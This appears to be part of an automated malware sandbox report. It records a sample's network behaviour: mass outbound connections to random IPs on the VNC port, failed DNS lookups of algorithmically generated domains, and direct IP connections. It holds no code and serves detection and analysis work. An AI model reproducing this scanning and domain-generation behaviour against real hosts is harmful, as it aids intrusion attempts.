Source: global traffic	TCP traffic: 192.168.1.81:49365 -> 61.225.54.99:5900
Source: global traffic	TCP traffic: 192.168.1.81:49366 -> 85.36.9.215:5900
Source: global traffic	TCP traffic: 192.168.1.81:49367 -> 153.138.117.104:5900
Source: global traffic	TCP traffic: 192.168.1.81:49368 -> 80.228.25.44:5900
Source: global traffic	TCP traffic: 192.168.1.81:49369 -> 113.198.162.79:5900
Source: global traffic	TCP traffic: 192.168.1.81:49370 -> 203.44.32.107:5900
Source: global traffic	TCP traffic: 192.168.1.81:49371 -> 60.123.81.171:5900
Source: global traffic	TCP traffic: 192.168.1.81:49372 -> 52.107.128.68:5900
Source: global traffic	TCP traffic: 192.168.1.81:49373 -> 109.15.20.77:5900
Source: global traffic	TCP traffic: 192.168.1.81:49374 -> 126.4.62.168:5900
Source: global traffic	TCP traffic: 192.168.1.81:49375 -> 40.98.166.107:5900
Source: global traffic	TCP traffic: 192.168.1.81:49376 -> 209.33.212.253:5900
Source: global traffic	TCP traffic: 192.168.1.81:49377 -> 76.71.158.227:5900
Source: global traffic	TCP traffic: 192.168.1.81:49378 -> 121.208.187.128:5900
Source: global traffic	TCP traffic: 192.168.1.81:49379 -> 203.138.169.226:5900
Source: global traffic	TCP traffic: 192.168.1.81:49380 -> 186.70.119.238:5900
Source: global traffic	TCP traffic: 192.168.1.81:49381 -> 197.25.94.114:5900
Source: global traffic	TCP traffic: 192.168.1.81:49382 -> 160.43.40.28:5900
Source: global traffic	TCP traffic: 192.168.1.81:49383 -> 177.149.161.151:5900
Source: global traffic	TCP traffic: 192.168.1.81:49384 -> 115.204.242.207:5900
Source: global traffic	TCP traffic: 192.168.1.81:49385 -> 198.148.181.221:5900
Source: global traffic	TCP traffic: 192.168.1.81:49386 -> 173.148.64.12:5900
Source: global traffic	TCP traffic: 192.168.1.81:49387 -> 94.116.124.206:5900
Source: global traffic	TCP traffic: 192.168.1.81:49388 -> 180.47.249.220:5900
Source: global traffic	TCP traffic: 192.168.1.81:49389 -> 106.141.74.41:5900
Source: global traffic	TCP traffic: 192.168.1.81:49390 -> 183.254.232.218:5900
Source: global traffic	TCP traffic: 192.168.1.81:49391 -> 181.71.51.25:5900
Source: global traffic	TCP traffic: 192.168.1.81:49392 -> 51.174.174.51:5900
Source: global traffic	TCP traffic: 192.168.1.81:49393 -> 126.50.46.8:5900
Source: global traffic	TCP traffic: 192.168.1.81:49394 -> 166.218.10.183:5900
Source: global traffic	TCP traffic: 192.168.1.81:49395 -> 113.187.129.114:5900
Source: global traffic	TCP traffic: 192.168.1.81:49396 -> 84.198.116.130:5900
Source: global traffic	TCP traffic: 192.168.1.81:49397 -> 150.103.138.85:5900
Source: global traffic	TCP traffic: 192.168.1.81:49398 -> 209.161.7.40:5900
Source: global traffic	TCP traffic: 192.168.1.81:49399 -> 182.158.70.163:5900
Source: global traffic	TCP traffic: 192.168.1.81:49400 -> 160.97.52.121:5900
Source: global traffic	TCP traffic: 192.168.1.81:49401 -> 200.147.181.216:5900
Source: global traffic	TCP traffic: 192.168.1.81:49402 -> 171.36.80.87:5900
Source: global traffic	TCP traffic: 192.168.1.81:49403 -> 201.167.15.141:5900
Source: global traffic	TCP traffic: 192.168.1.81:49404 -> 132.42.107.147:5900
Source: global traffic	TCP traffic: 192.168.1.81:49405 -> 68.114.60.162:5900
Source: global traffic	TCP traffic: 192.168.1.81:49406 -> 138.91.117.103:5900
Source: global traffic	TCP traffic: 192.168.1.81:49407 -> 166.93.187.238:5900
Source: global traffic	TCP traffic: 192.168.1.81:49408 -> 144.227.244.78:5900
Source: global traffic	TCP traffic: 192.168.1.81:49409 -> 195.185.175.65:5900
Source: global traffic	TCP traffic: 192.168.1.81:49410 -> 141.133.191.245:5900
Source: global traffic	TCP traffic: 192.168.1.81:49411 -> 139.149.254.145:5900
Source: global traffic	TCP traffic: 192.168.1.81:49412 -> 125.188.142.96:5900
Source: global traffic	TCP traffic: 192.168.1.81:49413 -> 47.246.249.225:5900
Source: global traffic	TCP traffic: 192.168.1.81:49414 -> 200.54.202.11:5900
Source: global traffic	TCP traffic: 192.168.1.81:49415 -> 134.30.209.69:5900
Source: global traffic	TCP traffic: 192.168.1.81:49416 -> 35.22.36.138:5900
Source: global traffic	TCP traffic: 192.168.1.81:49417 -> 202.231.153.47:5900
Source: global traffic	TCP traffic: 192.168.1.81:49418 -> 45.230.66.38:5900
Source: global traffic	TCP traffic: 192.168.1.81:49419 -> 66.196.165.221:5900
Source: global traffic	TCP traffic: 192.168.1.81:49420 -> 207.154.70.131:5900
Source: global traffic	TCP traffic: 192.168.1.81:49421 -> 163.196.176.68:5900
Source: global traffic	TCP traffic: 192.168.1.81:49422 -> 97.26.27.93:5900
Source: global traffic	TCP traffic: 192.168.1.81:49423 -> 131.38.211.145:5900
Source: global traffic	TCP traffic: 192.168.1.81:49424 -> 128.221.146.210:5900
Source: global traffic	TCP traffic: 192.168.1.81:49425 -> 161.1.209.192:5900
Source: global traffic	TCP traffic: 192.168.1.81:49426 -> 206.161.91.63:5900
Source: global traffic	TCP traffic: 192.168.1.81:49427 -> 63.126.169.65:5900
Source: global traffic	TCP traffic: 192.168.1.81:49428 -> 204.163.187.163:5900
Source: global traffic	TCP traffic: 192.168.1.81:49429 -> 194.152.8.30:5900
Source: global traffic	TCP traffic: 192.168.1.81:49430 -> 190.248.248.205:5900
Source: global traffic	TCP traffic: 192.168.1.81:49431 -> 115.181.34.18:5900
Source: global traffic	TCP traffic: 192.168.1.81:49432 -> 207.219.240.120:5900
Source: global traffic	TCP traffic: 192.168.1.81:49433 -> 195.210.96.129:5900
Source: global traffic	TCP traffic: 192.168.1.81:49434 -> 93.5.168.228:5900
Source: global traffic	TCP traffic: 192.168.1.81:49435 -> 168.177.91.251:5900
Source: global traffic	TCP traffic: 192.168.1.81:49436 -> 173.200.67.228:5900
Source: global traffic	TCP traffic: 192.168.1.81:49437 -> 201.105.152.180:5900
Source: global traffic	TCP traffic: 192.168.1.81:49438 -> 181.32.70.86:5900
Source: global traffic	TCP traffic: 192.168.1.81:49439 -> 40.89.201.212:5900
Source: global traffic	TCP traffic: 192.168.1.81:49440 -> 104.81.100.187:5900
Source: global traffic	TCP traffic: 192.168.1.81:49441 -> 84.84.62.86:5900
Source: global traffic	TCP traffic: 192.168.1.81:49442 -> 76.166.148.91:5900
Source: global traffic	TCP traffic: 192.168.1.81:49443 -> 141.99.37.109:5900
Source: global traffic	TCP traffic: 192.168.1.81:49444 -> 36.18.29.135:5900
Source: global traffic	TCP traffic: 192.168.1.81:49445 -> 130.39.25.237:5900
Source: global traffic	TCP traffic: 192.168.1.81:49446 -> 128.75.18.205:5900
Source: global traffic	TCP traffic: 192.168.1.81:49447 -> 137.62.237.86:5900
Source: global traffic	TCP traffic: 192.168.1.81:49448 -> 134.76.242.197:5900
Source: global traffic	TCP traffic: 192.168.1.81:49449 -> 141.175.178.22:5900
Source: global traffic	TCP traffic: 192.168.1.81:49450 -> 72.179.145.123:5900
Source: global traffic	TCP traffic: 192.168.1.81:49451 -> 33.158.32.57:5900
Source: global traffic	TCP traffic: 192.168.1.81:49452 -> 38.207.28.83:5900
Source: global traffic	TCP traffic: 192.168.1.81:49453 -> 61.133.159.116:5900
Source: global traffic	TCP traffic: 192.168.1.81:49454 -> 56.157.19.2:5900
Source: global traffic	TCP traffic: 192.168.1.81:49455 -> 191.115.28.235:5900
Source: global traffic	TCP traffic: 192.168.1.81:49456 -> 200.135.156.78:5900
Source: global traffic	TCP traffic: 192.168.1.81:49457 -> 193.177.207.169:5900
Source: global traffic	TCP traffic: 192.168.1.81:49458 -> 190.184.158.11:5900
Source: global traffic	TCP traffic: 192.168.1.81:49459 -> 93.29.96.65:5900
Source: global traffic	TCP traffic: 192.168.1.81:49460 -> 135.240.151.221:5900
Source: global traffic	TCP traffic: 192.168.1.81:49461 -> 128.140.101.42:5900
Source: global traffic	TCP traffic: 192.168.1.81:49462 -> 86.117.196.219:5900
Source: global traffic	TCP traffic: 192.168.1.81:49463 -> 134.73.191.26:5900
Source: global traffic	TCP traffic: 192.168.1.81:49464 -> 136.12.46.50:5900
Source: global traffic	TCP traffic: 192.168.1.81:49465 -> 121.147.195.125:5900
Source: global traffic	TCP traffic: 192.168.1.81:49466 -> 73.12.234.98:5900
Source: global traffic	TCP traffic: 192.168.1.81:49467 -> 110.57.49.117:5900
Source: global traffic	TCP traffic: 192.168.1.81:49468 -> 61.123.203.140:5900
Source: global traffic	TCP traffic: 192.168.1.81:49469 -> 71.188.122.109:5900
Source: global traffic	TCP traffic: 192.168.1.81:49470 -> 76.191.68.201:5900
Source: global traffic	TCP traffic: 192.168.1.81:49471 -> 55.139.95.63:5900
Source: global traffic	TCP traffic: 192.168.1.81:49472 -> 131.216.179.148:5900
Source: global traffic	TCP traffic: 192.168.1.81:49473 -> 204.196.85.94:5900
Source: global traffic	TCP traffic: 192.168.1.81:49474 -> 121.50.105.199:5900
Source: global traffic	TCP traffic: 192.168.1.81:49475 -> 60.16.188.36:5900
Source: global traffic	TCP traffic: 192.168.1.81:49476 -> 133.130.110.25:5900
Source: global traffic	TCP traffic: 192.168.1.81:49477 -> 67.174.96.104:5900
Source: global traffic	TCP traffic: 192.168.1.81:49478 -> 197.24.144.94:5900
Source: global traffic	TCP traffic: 192.168.1.81:49479 -> 156.225.143.140:5900
Source: global traffic	TCP traffic: 192.168.1.81:49480 -> 58.53.189.27:5900
Source: global traffic	TCP traffic: 192.168.1.81:49481 -> 173.128.179.102:5900
Source: global traffic	TCP traffic: 192.168.1.81:49482 -> 103.67.132.132:5900
Source: global traffic	TCP traffic: 192.168.1.81:49483 -> 94.211.218.130:5900
Source: global traffic	TCP traffic: 192.168.1.81:49484 -> 186.209.40.234:5900
Source: global traffic	TCP traffic: 192.168.1.81:49485 -> 83.186.124.117:5900
Source: global traffic	TCP traffic: 192.168.1.81:49486 -> 64.82.60.222:5900
Source: global traffic	TCP traffic: 192.168.1.81:49487 -> 200.222.188.208:5900
Source: global traffic	TCP traffic: 192.168.1.81:49488 -> 77.142.119.18:5900
Source: global traffic	TCP traffic: 192.168.1.81:49489 -> 135.144.38.183:5900
Source: global traffic	TCP traffic: 192.168.1.81:49490 -> 99.159.95.6:5900
Source: global traffic	TCP traffic: 192.168.1.81:49491 -> 122.154.16.84:5900
Source: global traffic	TCP traffic: 192.168.1.81:49492 -> 65.160.161.13:5900
Source: global traffic	TCP traffic: 192.168.1.81:49493 -> 37.75.69.187:5900
Source: global traffic	TCP traffic: 192.168.1.81:49494 -> 138.165.167.74:5900
Source: global traffic	TCP traffic: 192.168.1.81:49495 -> 190.184.244.189:5900
Source: global traffic	TCP traffic: 192.168.1.81:49496 -> 87.209.235.36:5900
Source: global traffic	TCP traffic: 192.168.1.81:49497 -> 91.147.13.113:5900
Source: global traffic	TCP traffic: 192.168.1.81:49498 -> 86.100.161.111:5900
Source: global traffic	TCP traffic: 192.168.1.81:49499 -> 186.206.165.12:5900
Source: global traffic	TCP traffic: 192.168.1.81:49500 -> 47.237.209.23:5900
Source: global traffic	TCP traffic: 192.168.1.81:49501 -> 150.228.74.207:5900
Source: global traffic	TCP traffic: 192.168.1.81:49502 -> 74.153.193.74:5900
Source: global traffic	TCP traffic: 192.168.1.81:49503 -> 139.31.3.131:5900
Source: global traffic	TCP traffic: 192.168.1.81:49504 -> 90.4.174.193:5900
Source: global traffic	TCP traffic: 192.168.1.81:49505 -> 66.124.182.128:5900
Source: global traffic	TCP traffic: 192.168.1.81:49506 -> 157.31.205.147:5900
Source: global traffic	TCP traffic: 192.168.1.81:49507 -> 94.25.220.198:5900
Source: global traffic	TCP traffic: 192.168.1.81:49508 -> 206.40.50.17:5900
Source: global traffic	TCP traffic: 192.168.1.81:49509 -> 132.47.255.47:5900
Source: global traffic	TCP traffic: 192.168.1.81:49510 -> 90.179.230.189:5900
Source: global traffic	TCP traffic: 192.168.1.81:49511 -> 92.167.9.160:5900
Source: global traffic	TCP traffic: 192.168.1.81:49512 -> 186.178.226.90:5900
Source: global traffic	TCP traffic: 192.168.1.81:49513 -> 160.80.155.191:5900
Source: global traffic	TCP traffic: 192.168.1.81:49514 -> 158.255.106.211:5900
Source: global traffic	TCP traffic: 192.168.1.81:49515 -> 202.67.125.114:5900
Source: global traffic	TCP traffic: 192.168.1.81:49516 -> 81.242.47.162:5900
Source: global traffic	TCP traffic: 192.168.1.81:49517 -> 101.118.118.229:5900
Source: global traffic	TCP traffic: 192.168.1.81:49518 -> 202.246.6.115:5900
Source: global traffic	TCP traffic: 192.168.1.81:49519 -> 101.175.95.116:5900
Source: global traffic	TCP traffic: 192.168.1.81:49520 -> 197.94.226.26:5900
Source: global traffic	TCP traffic: 192.168.1.81:49521 -> 86.126.145.37:5900
Source: global traffic	TCP traffic: 192.168.1.81:49522 -> 183.203.146.39:5900
Source: global traffic	TCP traffic: 192.168.1.81:49523 -> 200.53.191.23:5900
Source: global traffic	TCP traffic: 192.168.1.81:49524 -> 100.184.51.149:5900
Source: global traffic	TCP traffic: 192.168.1.81:49525 -> 183.234.162.103:5900
Source: global traffic	TCP traffic: 192.168.1.81:49526 -> 64.123.9.3:5900
Source: global traffic	TCP traffic: 192.168.1.81:49527 -> 101.22.233.62:5900
Source: global traffic	TCP traffic: 192.168.1.81:49528 -> 178.235.31.124:5900
Source: global traffic	TCP traffic: 192.168.1.81:49529 -> 103.179.13.92:5900
Source: global traffic	TCP traffic: 192.168.1.81:49530 -> 112.141.51.213:5900
Source: global traffic	TCP traffic: 192.168.1.81:49531 -> 187.247.93.61:5900
Source: global traffic	TCP traffic: 192.168.1.81:49532 -> 89.82.125.24:5900
Source: global traffic	TCP traffic: 192.168.1.81:49533 -> 57.155.113.75:5900
Source: global traffic	TCP traffic: 192.168.1.81:49534 -> 166.101.58.119:5900
Source: global traffic	TCP traffic: 192.168.1.81:49535 -> 186.45.222.33:5900
Source: global traffic	TCP traffic: 192.168.1.81:49536 -> 38.141.16.227:5900
Source: global traffic	TCP traffic: 192.168.1.81:49537 -> 187.252.63.222:5900
Source: global traffic	TCP traffic: 192.168.1.81:49538 -> 77.21.59.155:5900
Source: global traffic	TCP traffic: 192.168.1.81:49539 -> 148.139.10.136:5900
Source: global traffic	TCP traffic: 192.168.1.81:49540 -> 129.81.17.221:5900
Source: global traffic	TCP traffic: 192.168.1.81:49541 -> 142.25.63.251:5900
Source: global traffic	TCP traffic: 192.168.1.81:49542 -> 80.40.208.31:5900
Source: global traffic	TCP traffic: 192.168.1.81:49543 -> 68.181.94.239:5900
Source: global traffic	TCP traffic: 192.168.1.81:49544 -> 200.55.68.86:5900
Source: global traffic	TCP traffic: 192.168.1.81:49545 -> 131.234.171.11:5900
Source: global traffic	TCP traffic: 192.168.1.81:49546 -> 38.113.207.2:5900
Source: global traffic	TCP traffic: 192.168.1.81:49547 -> 95.140.134.190:5900
Source: global traffic	TCP traffic: 192.168.1.81:49548 -> 134.245.186.203:5900
Source: global traffic	TCP traffic: 192.168.1.81:49549 -> 99.124.155.104:5900
Source: global traffic	TCP traffic: 192.168.1.81:49550 -> 151.115.218.101:5900
Source: global traffic	TCP traffic: 192.168.1.81:49551 -> 180.163.94.252:5900
Source: global traffic	TCP traffic: 192.168.1.81:49552 -> 58.148.45.35:5900
Source: global traffic	TCP traffic: 192.168.1.81:49553 -> 157.21.159.140:5900
Source: global traffic	TCP traffic: 192.168.1.81:49554 -> 161.49.141.146:5900
Source: global traffic	TCP traffic: 192.168.1.81:49555 -> 43.32.11.55:5900
Source: global traffic	TCP traffic: 192.168.1.81:49556 -> 62.202.100.237:5900
Source: global traffic	TCP traffic: 192.168.1.81:49557 -> 130.222.122.234:5900
Source: global traffic	TCP traffic: 192.168.1.81:49558 -> 108.174.30.30:5900
Source: global traffic	TCP traffic: 192.168.1.81:49559 -> 34.78.21.166:5900
Source: global traffic	TCP traffic: 192.168.1.81:49560 -> 104.147.238.205:5900
Source: global traffic	TCP traffic: 192.168.1.81:49561 -> 103.133.63.225:5900
Source: global traffic	TCP traffic: 192.168.1.81:49562 -> 105.211.116.139:5900
Source: global traffic	TCP traffic: 192.168.1.81:49563 -> 186.107.93.231:5900
Source: global traffic	TCP traffic: 192.168.1.81:49564 -> 137.179.22.251:5900
Source: global traffic	TCP traffic: 192.168.1.81:49565 -> 74.14.98.220:5900
Source: global traffic	TCP traffic: 192.168.1.81:49566 -> 146.54.193.155:5900
Source: global traffic	TCP traffic: 192.168.1.81:49567 -> 147.249.176.70:5900
Source: global traffic	TCP traffic: 192.168.1.81:49568 -> 190.5.241.21:5900
Source: global traffic	TCP traffic: 192.168.1.81:49569 -> 167.106.137.159:5900
Source: global traffic	TCP traffic: 192.168.1.81:49570 -> 203.144.83.146:5900
Source: global traffic	TCP traffic: 192.168.1.81:49571 -> 191.79.248.112:5900
Source: global traffic	TCP traffic: 192.168.1.81:49572 -> 189.142.94.157:5900
Source: global traffic	TCP traffic: 192.168.1.81:49573 -> 93.215.55.68:5900
Source: global traffic	TCP traffic: 192.168.1.81:49574 -> 190.42.146.238:5900
Source: global traffic	TCP traffic: 192.168.1.81:49575 -> 67.139.12.232:5900
Source: global traffic	TCP traffic: 192.168.1.81:49576 -> 189.49.22.58:5900
Source: global traffic	TCP traffic: 192.168.1.81:49577 -> 74.133.40.101:5900
Source: global traffic	TCP traffic: 192.168.1.81:49578 -> 110.119.84.159:5900
Source: global traffic	TCP traffic: 192.168.1.81:49579 -> 174.42.11.171:5900
Source: global traffic	TCP traffic: 192.168.1.81:49580 -> 164.169.170.220:5900
Source: global traffic	TCP traffic: 192.168.1.81:49581 -> 171.203.228.25:5900
Source: global traffic	TCP traffic: 192.168.1.81:49582 -> 96.252.7.64:5900
Source: global traffic	TCP traffic: 192.168.1.81:49583 -> 98.62.124.90:5900
Source: global traffic	TCP traffic: 192.168.1.81:49584 -> 96.202.220.29:5900
Source: global traffic	TCP traffic: 192.168.1.81:49585 -> 94.177.161.119:5900
Source: global traffic	TCP traffic: 192.168.1.81:49586 -> 74.234.25.46:5900
Source: global traffic	TCP traffic: 192.168.1.81:49587 -> 88.197.120.156:5900
Source: global traffic	TCP traffic: 192.168.1.81:49588 -> 75.133.255.108:5900
Source: global traffic	TCP traffic: 192.168.1.81:49589 -> 59.111.248.93:5900
Source: global traffic	TCP traffic: 192.168.1.81:49590 -> 204.63.155.232:5900
Source: global traffic	TCP traffic: 192.168.1.81:49591 -> 132.171.9.219:5900
Source: global traffic	TCP traffic: 192.168.1.81:49592 -> 144.249.125.56:5900
Source: global traffic	TCP traffic: 192.168.1.81:49593 -> 94.75.224.118:5900
Source: global traffic	TCP traffic: 192.168.1.81:49594 -> 111.162.205.236:5900
Source: global traffic	TCP traffic: 192.168.1.81:49595 -> 107.71.71.139:5900
Source: global traffic	TCP traffic: 192.168.1.81:49596 -> 105.13.171.33:5900
Source: global traffic	TCP traffic: 192.168.1.81:49597 -> 141.36.27.81:5900
Source: global traffic	TCP traffic: 192.168.1.81:49598 -> 196.105.96.144:5900
Source: global traffic	TCP traffic: 192.168.1.81:49599 -> 55.111.36.174:5900
Source: global traffic	TCP traffic: 192.168.1.81:49600 -> 66.183.90.198:5900
Source: global traffic	TCP traffic: 192.168.1.81:49601 -> 206.64.69.54:5900
Source: global traffic	TCP traffic: 192.168.1.81:49602 -> 128.99.3.85:5900
Source: global traffic	TCP traffic: 192.168.1.81:49603 -> 160.78.112.163:5900
Source: global traffic	TCP traffic: 192.168.1.81:49604 -> 34.215.94.158:5900
Source: global traffic	TCP traffic: 192.168.1.81:49605 -> 124.28.109.113:5900
Source: global traffic	TCP traffic: 192.168.1.81:49606 -> 84.176.120.181:5900
Source: global traffic	TCP traffic: 192.168.1.81:49607 -> 111.43.245.121:5900
Source: global traffic	TCP traffic: 192.168.1.81:49608 -> 198.251.170.64:5900
Source: global traffic	TCP traffic: 192.168.1.81:49609 -> 141.136.38.119:5900
Source: global traffic	TCP traffic: 192.168.1.81:49610 -> 202.191.132.187:5900
Source: global traffic	TCP traffic: 192.168.1.81:49611 -> 196.188.88.177:5900
Source: global traffic	TCP traffic: 192.168.1.81:49612 -> 41.13.106.33:5900
Source: global traffic	TCP traffic: 192.168.1.81:49613 -> 60.16.30.122:5900
Source: global traffic	TCP traffic: 192.168.1.81:49614 -> 157.133.253.199:5900
Source: global traffic	TCP traffic: 192.168.1.81:49615 -> 141.2.188.190:5900
Source: global traffic	TCP traffic: 192.168.1.81:49616 -> 75.135.137.158:5900
Source: global traffic	TCP traffic: 192.168.1.81:49617 -> 151.43.183.9:5900
Source: global traffic	TCP traffic: 192.168.1.81:49618 -> 193.5.235.147:5900
Source: global traffic	TCP traffic: 192.168.1.81:49619 -> 193.90.241.70:5900
Source: global traffic	TCP traffic: 192.168.1.81:49620 -> 114.175.93.38:5900
Source: global traffic	TCP traffic: 192.168.1.81:49621 -> 129.198.153.166:5900
Source: global traffic	TCP traffic: 192.168.1.81:49622 -> 44.41.13.136:5900
Source: global traffic	TCP traffic: 192.168.1.81:49623 -> 198.72.238.5:5900
Source: global traffic	TCP traffic: 192.168.1.81:49624 -> 84.78.132.84:5900
Source: global traffic	TCP traffic: 192.168.1.81:49625 -> 50.11.227.203:5900
Source: global traffic	TCP traffic: 192.168.1.81:49626 -> 149.145.19.238:5900
Source: global traffic	TCP traffic: 192.168.1.81:49627 -> 190.194.105.171:5900
Source: global traffic	TCP traffic: 192.168.1.81:49628 -> 90.84.76.164:5900
Source: global traffic	TCP traffic: 192.168.1.81:49629 -> 152.69.73.16:5900
Source: global traffic	TCP traffic: 192.168.1.81:49630 -> 134.18.182.117:5900
Source: global traffic	TCP traffic: 192.168.1.81:49631 -> 153.212.214.228:5900
Source: global traffic	TCP traffic: 192.168.1.81:49632 -> 135.49.17.1:5900
Source: global traffic	TCP traffic: 192.168.1.81:49633 -> 68.65.122.104:5900
Source: global traffic	TCP traffic: 192.168.1.81:49634 -> 162.135.59.224:5900
Source: global traffic	TCP traffic: 192.168.1.81:49635 -> 82.7.1.64:5900
Source: global traffic	TCP traffic: 192.168.1.81:49636 -> 104.2.167.131:5900
Source: global traffic	TCP traffic: 192.168.1.81:49637 -> 63.102.27.24:5900
Source: global traffic	TCP traffic: 192.168.1.81:49638 -> 37.224.158.208:5900
Source: global traffic	TCP traffic: 192.168.1.81:49639 -> 61.161.62.5:5900
Source: global traffic	TCP traffic: 192.168.1.81:49640 -> 155.157.22.85:5900
Source: global traffic	TCP traffic: 192.168.1.81:49641 -> 170.165.251.245:5900
Source: global traffic	TCP traffic: 192.168.1.81:49642 -> 168.194.111.84:5900
Source: global traffic	TCP traffic: 192.168.1.81:49643 -> 125.215.180.246:5900
Source: global traffic	TCP traffic: 192.168.1.81:49644 -> 144.178.4.180:5900
Source: global traffic	TCP traffic: 192.168.1.81:49645 -> 63.144.186.152:5900
Source: global traffic	TCP traffic: 192.168.1.81:49646 -> 169.55.80.252:5900
Source: global traffic	TCP traffic: 192.168.1.81:49647 -> 60.168.40.179:5900
Source: global traffic	TCP traffic: 192.168.1.81:49648 -> 207.23.107.94:5900
Source: global traffic	TCP traffic: 192.168.1.81:49649 -> 84.24.125.173:5900
Source: global traffic	TCP traffic: 192.168.1.81:49650 -> 74.191.79.65:5900
Source: global traffic	TCP traffic: 192.168.1.81:49651 -> 119.36.140.84:5900
Source: global traffic	TCP traffic: 192.168.1.81:49652 -> 188.118.114.107:5900
Source: global traffic	TCP traffic: 192.168.1.81:49653 -> 62.159.67.71:5900
Source: global traffic	TCP traffic: 192.168.1.81:49654 -> 75.165.177.176:5900
Source: global traffic	TCP traffic: 192.168.1.81:49655 -> 100.183.179.246:5900
Source: global traffic	TCP traffic: 192.168.1.81:49656 -> 125.44.8.180:5900
Source: global traffic	TCP traffic: 192.168.1.81:49657 -> 153.81.119.41:5900
Source: global traffic	TCP traffic: 192.168.1.81:49658 -> 124.202.144.63:5900
Source: global traffic	TCP traffic: 192.168.1.81:49659 -> 198.249.224.23:5900
Source: global traffic	TCP traffic: 192.168.1.81:49660 -> 62.148.236.158:5900
Source: global traffic	TCP traffic: 192.168.1.81:49661 -> 111.103.123.24:5900
Source: global traffic	TCP traffic: 192.168.1.81:49662 -> 197.249.222.152:5900
Source: global traffic	TCP traffic: 192.168.1.81:49663 -> 99.129.89.217:5900
Source: global traffic	TCP traffic: 192.168.1.81:49664 -> 148.220.74.110:5900

Tries to resolve many domain names, but no domain seems valid

Show sources

Source: unknown	DNS traffic detected: query: ugoheoheufefu.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iefigjgdidisi.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiisisiysjsif.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inigbiseijfji.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nkihigheogojg.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nkihigheogojg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ouegouehouseh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiisisiysjsif.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riifndisojdoj.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riifndisojdoj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iriototooeuwo.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iugouehoeohfh.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iugouehoeohfh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iriototooeuwo.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nkihigheogojg.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inigbiseijfji.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: udunfjgussiid.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: udunfjgussiid.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nkihigheogojg.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iefigjgdidisi.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iefigjgdidisi.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iugouehoeohfh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iefigjgdidisi.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nkihigheogojg.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inigbiseijfji.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: udunfjgussiid.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inigbiseijfji.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ouegouehouseh.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inigbiseijfji.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iefigjgdidisi.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iefigjgdidisi.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iriototooeuwo.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iugouehoeohfh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiisisiysjsif.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iefigjgdidisi.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iriototooeuwo.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ugoheoheufefu.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inigbiseijfji.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: udunfjgussiid.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iugouehoeohfh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ugoheoheufefu.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nkihigheogojg.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: udunfjgussiid.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ugoheoheufefu.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiisisiysjsif.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riifndisojdoj.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ouegouehouseh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiisisiysjsif.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iriototooeuwo.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ouegouehouseh.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iugouehoeohfh.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riifndisojdoj.su replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ugoheoheufefu.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiisisiysjsif.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eiisisiysjsif.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riifndisojdoj.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ugoheoheufefu.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nkihigheogojg.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ouegouehouseh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: inigbiseijfji.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iriototooeuwo.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ouegouehouseh.info replaycode: Name error (3)

Connects to IPs without corresponding DNS lookups

Show sources

Source: unknown	TCP traffic detected without corresponding DNS query: 193.84.183.108
Source: unknown	TCP traffic detected without corresponding DNS query: 52.193.187.127
Source: unknown	TCP traffic detected without corresponding DNS query: 196.248.164.228
